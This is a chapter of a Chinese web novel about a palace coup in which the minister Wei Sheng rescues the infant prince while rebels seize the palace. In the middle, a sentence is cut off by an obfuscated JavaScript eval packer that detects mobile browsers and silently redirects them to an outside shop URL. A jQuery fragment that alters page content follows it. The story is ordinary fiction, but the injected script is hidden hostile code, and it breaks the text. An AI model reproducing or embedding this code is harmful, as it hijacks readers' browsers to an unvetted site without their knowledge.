当日卫笙清醒过来,次日慕容寒便将皇宫二人的死讯放了出去。
太后驾崩,举国哀悼。慕容寒守在偌大的宫殿看着两人的尸身,只字不言。
百岁宴牵连卫笙时他便顺藤摸瓜查到了自己送上来的人,许是时机成熟了,他们没再躲着藏着,短短五日便让他看清不少,有兵部的,有吏部的,他不知道政事堂有没有,但也不重要了,这些人已经足以构成不小的威胁。
皇宫有的是这些人的眼线,太后之死无疑会触怒他们,想来这哀悼的第一日是不会安宁的。
他穿着丧服跪坐在蒲垫上,侧目看着棺椁中的人,为了不让尸身腐坏,她们身上都涂了药,整整五日过去了,还跟才死去似的。
为了维持面上的和谐,他将她们的消息压了这么些日子,也不知阿雪在天上会不会怪罪。
也不知天上有没有好玩的好看的,有没有人欺负她。
“皇兄,等阿雪长大了是不是就能出去玩了!”耳边恍惚中响起了慕容雪幼时随口之言。
她一直想出去玩的,小时候母后骗她哄父皇开心了就能出去,她就每日都笑盈盈地去逗人开心,知道这是骗人的后还因此生了好大的气。
后来更是小小年纪就想着找个如意郎君嫁出去,是他怕外面不安,以年纪小为由窟着她,才得了这么个报应。
现在想来,是不是早些将她嫁出去也好,放在外边也好过死在里边。
慕容寒小心翼翼地倚靠在棺椁旁,想问问她,会不会后悔替自己挡这一刀,会不会气自己这些年的管控。
他正欲开口,才到殿门外的人出了声,“陛下,又躲在这儿。”
是宁子苓,也只有她每日四处找着自己了。慕容寒收起眼底的难过,慢悠悠地转身望着她。
宁子苓小声叹了一句,慢慢走近给他擦拭着泪水,说道:“这里冰盆罗列寒气逼人,您衣着单薄,当心龙体。”
慕容寒顾忌着她的身子,想让她先出去。却见这人犟得很,死活要陪着自己。
炎炎七月,谁穿的多,算了,左右这里冷得厉害,他出去便是。
“我们走吧。”他伸手拉着宁子苓,一步一步向外走去。
让人始料不及的是,叛党当晚就伪造密信,打着替陛下解决欲弑君的奸党的旗号将皇宫围了起来。北衙禁军整六支军队,启动了四支,赵志地更是借着身份说自己受陛下意假死就是为了捉拿奸党。
皇宫中人自是不会坐以待毙,趁机传了密信出去,想让楚音华召南衙禁军。
可南衙禁军不单听他一个人的,兵部这个统筹南衙的地方出了反贼,他们的人将消息压了下去,皇宫一时束手无策。
……
皇宫被围了个通透,卫笙却在自家府邸待的好好的,甚至清闲地写了幅字。
早在禁军出动之前,他就派了人去皇宫接人,想来要不了多久就该到了。
虽说武力比不过,但这些年的教导,他敢保证自己派过去的人能安全地将他们接出来,至少子苓阿姐不会出事。
他慵懒地倚在软椅上,就等着几人感恩戴德地来道谢了。
到时候说什么好呢?要不要趁机坑宁逸阳一把,都救他阿姐了给把扇子应该不会不答应吧,要不要再求个糖人什么的?他细细地想着,要给楚音华也求一个糖人,两个糖人放一起才好看。
果不其然,一刻钟不到派出去的人就回了府。
他笑脸看过去,却没看到想看的人,影八和影五带着个小娃娃,想是子苓阿姐刚生下那个,可他们身后却是一个人也没有了。
他跑过去绕到两人身后看了一圈,问道:“子苓阿姐呢?慕容寒呢?”
两人还未回话,小皇子先哭了出来,肉嘟嘟的小脸红彤彤的,“咿咿呀呀”地叫唤着想跳出去。
影八又没怀过孩子,吓得险些当场扔掉,仅剩的理智让他将怀中的小孩递了过来。孩子出手了,他才开口:“回主子,属下到时陛下和皇后娘娘已经被关押在昭华殿,里外五十人看守,我们只来得及偷走这孩子。”
禁军才出动多久,他们哪儿来的人手?卫笙问道:“谁在守他们,这孩子没人看着?”
“是私军,隶属二殿下。皇子被关在黎阳殿,这些人许是没料到有人会抢皇子,人手都拿去看管陛下和娘娘了,整个黎阳殿共五人看着,武功一般。”
二殿下的私军啊。
慕容新这个名字都多久没听过了,卫笙印象里还是那个做什么都畏手畏脚,甚至有些怕人的皇子,这样的人竟然也会有反叛的心思。
皇宫内外围了不少人,能进去的只能是轻功好武功也上乘的,禁军还未到时去找人还尚有可能,但现在要想再去带两个大活人出来就是异想天开了。
卫笙释然道:“随他去吧,皇子在这儿,里边的人总归不会真杀了他们。”
只是可惜子苓阿姐了,这些日子得苦一点了。
“哇呜呜!”怀中孩子忽出一声,吓得他回了神。怎么哄人来着,让他一直哭着可不好,别岔气了还怪到他身上。
他看着影八影五,如果没记错的话,才送过来的时候这孩子没哭,他们应该有办法吧。
许是他的意思太明显了,影五着急忙慌地跳到了影八身后,大声出卖,“主子,他做的!”
什么?他做了什么?
卫笙疑惑地看过去,就看到影八那张黑得跟煤块一样的脸,看来影五没冤枉,这人应是真做了什么不大好的事。
他摇了摇怀中的孩子,看着影八,“你做了什么,说说吧。”
影八欲哭无泪:“皇子一直哭,属下怕招来人,路上就拿帕子捂住了他嘴巴。”
卫笙失笑,怪不得这小孩脸这么红,他以为天生的呢,“又没出事,你不捂着三个都得死路上,还是捂着好。”就是真捂出病了,总比不上三个人的命。
他随意挥手让两人滚去领钱,顺道招呼靛青去一趟皇宫,两人一走,他便自个儿抱着人开始轻声哄了起来。
这孩子不知哪儿来的蛮力,越哭越大声,扯着他的衣裳不肯松手了,跟抓凶手似的。卫笙调侃道,合该拿去锦衣卫练练。
也不知皇宫情形如何了,赵志地进去了没。他应是想让慕容新摄政,自己再管制慕容新,没名没分的东西,抢的还欢。
皇位啊皇位,又不是什么好东西,怎么一个两个都想要呢。
他晃着孩子,将人逗开心了才揉着小脸问:“你想不想要呀?”
小皇子傻兮兮的,无论哭笑都张着嘴巴“咿咿呀呀”的叫唤,跟他娘分明一点也不像,不过跟宁逸阳小时候应该蛮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628997|203754||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
像的。
他抱着人藏到了屋里,确认孩子睡着后便抬步往爹娘院子去了。大半夜的,他只顾着那孩子,倒忘了去想两人睡了没。
都走到一半了,看着前边举着的灯,他才记起现在已是深夜。
为了不作打扰,他让人先去看了眼,确认里边醒着的才去敲了门,“爹,娘。”
门应声打开,卫言和给人斟着茶,颜夫人则笑着眸子看他:“稀客啊。”
这么晚了,怎么会还没睡着?看他娘的神情卫笙惊觉不妙,忙询道:“您二老怎么还未歇下?”
颜夫人登时气得掐了下自家夫君,舒服了才笑靥如花地看过来,“我们还等着照顾你孩子呢,怎么敢睡。”
原来如此,卫笙关上门缓步走近,低声道:“那是陛下的孩子,可不敢胡说。”
末了又自己补充了一句,“是照顾陛下的孩子。”
颜宁似笑非笑地瞪了自家夫君一眼,卫言和赶忙站了出来,语气平和:“好了,你娘和我早知晓了,禁军围了皇宫,你偷了个孩子出来。虽不知里边出了什么事,我们会护着这孩子的。”
颜宁起身走到他边上,很轻地揉着他的脑袋,说道:“你一个小孩儿哪里知道怎么照顾人,明日便将他送过来吧。”
“好!”卫笙怕他们反悔,赶忙点头答应。
次日一早他便亲自将孩子送到了爹娘院中,午时皇宫便传来消息,奸党欲弑君,被二殿下及赵志地捉拿归案,陛下受惊,暂时难以临朝,念其有功特赐其监国之职。
这些人还挺要脸,既要摄政之权又不想担“谋逆摄政”的骂名。
卫笙人在政事堂坐,莫名其妙就被召去了皇宫。
赵志地陪着二殿下可好不威风,两人坐在宫殿中跟在自己府上似的,见他进来就开始扯东扯西,赵志地这个心眼小的,一直念着他的仇,死也不说好话,倒是二殿下,怕他惹事,将自己有的都拿了出来。
整个万都就禁军这六支军队,四支都在他们手上,边疆无兵能出的情况下,卫笙自是不会硬碰硬,亲自同二人虚与委蛇了许久,就差对天发誓了。
若非两人不知小皇子在谁手上,怕也不会就这样放过他。
也幸亏他这身份够好,整个天璇皆知丞相之仁善,这些人又才坐上来,一时也不敢轻易动手。
自那之后皇宫还是常派人去朝臣府邸探寻,面上是奸党才消,怕有人生异心,私底下是查探小皇子和招揽死心眼的朝臣。
听话的留着,不听话的也要看官位,官位大就威逼利诱,官位不够则以奸党之名就地斩杀。
他们暂时没在明面上动过楚音华这个只能管控两支禁军的都督,不为别的,只因他身份特殊,那些人一方面觉得日后可以招揽,一方面是没办法夺他的权。
自己的人控制不了羽林军,况且没有楚音华也没办法使唤南衙禁军,便也是利诱为主。
不过这些人藏得不算好,私底下派去杀他的是半点不留情。
卫笙怕小皇子的事迟迟未解决让他们忧心过度生害人之心,便让人偷摸放了个重金买来的孩童死尸到皇宫边上,营造出贼人偷了皇子但又因功夫不够被逼得将人落下的假象。
小孩长的都差不多,那些人看不出来,届时宁子苓见到孩子也知晓该做什么的。